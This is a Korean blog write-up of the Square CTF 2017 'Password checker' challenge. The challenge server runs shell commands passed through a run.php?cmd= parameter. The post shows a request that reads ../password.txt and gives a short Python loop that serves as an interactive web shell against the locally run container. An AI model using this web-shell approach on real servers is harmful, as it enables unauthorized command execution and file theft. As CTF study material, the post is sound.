CTF

[Square CTF 2017] Password checker

skyepodium 2022. 6. 12. 14:37

1. 개요

웹쉘 문제, 리눅스 명령어 문제

 

 

문제링크

도커 컨테이너 실행

docker run --rm -p 8080:8080 squarectf/pwd_checker

 

2. 분석

1) 코드

접속하면 화면이 나오고, 코드를 보면,  다음과 같이 리눅스 명령어를 url 인코딩해서, 서버로 보내고 있습니다. 

 

웹셀로 시스템콜을 사용할 수 있습니다.

  let xmlHttp = new XMLHttpRequest();
  xmlHttp.open('GET', '/run.php?cmd=cat%20../password.txt', false);
  xmlHttp.send(null);
  let actualValue = xmlHttp.responseText;

 

2) 한줄

문제는, 시스템 콜 결과가 가장 뒤의 한줄만 보인다는 것입니다.

http://localhost:8080/run.php?cmd=cat%20run.php

조금 귀찮아져서 웹셀을 파이썬으로 만들고 사용했습니다.

 

3. exploit

from urllib import parse
import requests

def parse_cmd(cmd):
    return parse.quote(cmd, encoding='utf-8')

def request(cmd):
    return requests.get(f"http://localhost:8080/run.php?cmd={parse.quote(cmd, encoding='utf-8')}")

if __name__ == '__main__':
    while True:
        r = request(input())
        print('r', r.text, '\n')

 

대회가 종료되서 flag는 조금 다른 것 같습니다. flag-good-job!